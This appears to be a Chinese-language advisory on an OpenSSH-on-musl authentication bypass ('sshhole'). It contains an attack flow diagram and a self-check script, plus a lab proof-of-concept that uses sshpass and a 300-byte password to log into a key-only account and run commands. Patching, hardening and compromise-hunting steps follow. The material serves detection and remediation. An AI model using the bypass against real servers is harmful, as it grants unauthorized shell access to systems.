deploy:*:19800:0:99999:7:::

攻击者发一个 300 字节的密码
        ↓
sshd 看到目标账户 shadow 字段是 *
        ↓
从隔壁某真实账户借个 $6$salt$xxx 过来
        ↓
调 musl 的 crypt(300字节垃圾, 借来的salt)
        ↓
musl 一看：你这密码超 256 字节了，返回 \"*\"
        ↓
sshd 把 crypt() 返回的 \"*\" 和 shadow 里存的 \"*\" 做字符串比对
        ↓
两个 \"*\" 一模一样 → 认证通过 → 拿到 shell

#!/bin/bash
# sshhole-check.sh — CVE-2026-123158 自检
# 用法: sudo bash sshhole-check.sh

set -u
echo \"===== sshhole (CVE-2026-123158) self-check =====\"

# 1. 是不是 musl 系统
MUSL=0
if ldd --version 2>&1 | grep -qi musl; then
    echo \"[1/4] libc: musl detected\"
    MUSL=1
else
    echo \"[1/4] libc: $(ldd --version 2>&1 | head -1) — not musl, likely not affected\"
fi

# 2. OpenSSH 版本
echo \"[2/4] sshd version: $(ssh -V 2>&1)\"

# 3. sshd 实际生效配置
echo \"[3/4] sshd effective config:\"
sshd -T 2>/dev/null | grep -Ei 'passwordauthentication|usepam|permitrootlogin' | sed 's/^/      /'

# 4. shadow 里有几个 * 账户、有没有 $5$/$6$ hash
STAR_ACCTS=$(awk -F: '$2 == \"*\" {print $1}' /etc/shadow)
HASH_ACCTS=$(awk -F: '$2 ~ /^\\$[56]\\$/ {print $1}' /etc/shadow)

echo \"[4/4] shadow field analysis:\"
echo \"      accounts with '*' (key-only/no-pass): $(echo \"$STAR_ACCTS\" | grep -c . )\"
[ -n \"$STAR_ACCTS\" ] && echo \"        -> $(echo $STAR_ACCTS | tr '\
' ' ')\"
echo \"      accounts with \\$5\\$/\\$6\\$ hash:        $(echo \"$HASH_ACCTS\" | grep -c . )\"

# 综合判定
AFFECTED=0
if [ \"$MUSL\" = \"1\" ]; then
    PAM=$(sshd -T 2>/dev/null | awk '/^usepam/{print $2}')
    PW=$(sshd -T 2>/dev/null | awk '/^passwordauthentication/{print $2}')
    NSTAR=$(echo \"$STAR_ACCTS\" | grep -c .)
    NHASH=$(echo \"$HASH_ACCTS\" | grep -c .)
    if [ \"$PAM\" = \"no\" ] && [ \"$PW\" = \"yes\" ] && [ \"$NSTAR\" -ge 1 ] && [ \"$NHASH\" -ge 1 ]; then
        AFFECTED=1
    fi
fi

echo
if [ \"$AFFECTED\" = \"1\" ]; then
    echo \">>> RESULT: VULNERABLE — patch now or set PasswordAuthentication no\"
else
    echo \">>> RESULT: not exploitable under current config (still patch when you can)\"
fi

# ===== 在目标测试机上（Alpine 虚拟机，root 执行）=====
# 1. 建一个 key-only 账户（密码字段自动是 *）
adduser -D -s /bin/sh deploy
usermod -p '*' deploy
# 注意：这台机器上你自己 root 登录时设过密码，所以 $6$ hash 已经存在

# 2. 确认 sshd 配置
grep -E '^PasswordAuthentication|^UsePAM' /etc/ssh/sshd_config
# 应该看到 PasswordAuthentication yes，且没有 UsePAM yes

# ===== 从另一台机器（攻击机）发起验证 =====
# 3. 生成一个 300 字节的超长密码字符串
LONGPASS=$(python3 -c \"print('A'*300)\")

# 4. 用超长密码尝试以 deploy 登录（deploy 根本没设密码）
sshpass -p \"$LONGPASS\" ssh \\
    -o StrictHostKeyChecking=no \\
    -o PreferredAuthentications=password \\
    -o PubkeyAuthentication=no \\
    deploy@<目标IP> 'id; cat /etc/os-release | head -2'

apk update
apk upgrade openssh
rc-service sshd restart    # 关键！不重启 sshd，跑的还是老进程

# 保险起见，先确认你的 SSH key 能登进去，另开一个会话留着别关
mkdir -p /etc/ssh/sshd_config.d
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/00-no-passwords.conf

# 验证配置语法，再重启
sshd -t && rc-service sshd restart

# 看一眼结果，应该输出 passwordauthentication no
sshd -T | grep -i passwordauthentication

#日志里有没有\"用密码登了一个本来没密码的账户\"这种鬼话
grep 'Accepted password for' /var/log/messages | grep -E ' (alpine|root|deploy|git|) '

# 查 doas / sudo 的免密记录
cat /etc/doas.conf 2>/dev/null
cat /etc/sudoers 2>/dev/null
ls /etc/sudoers.d/ 2>/dev/null

# 看最近有没有被新建账户、被塞 authorized_keys
awk -F: '$3>=1000{print $1\":\"$3}' /etc/passwd
find /home -name authorized_keys -newer /etc/hostname -exec ls -la {} \\;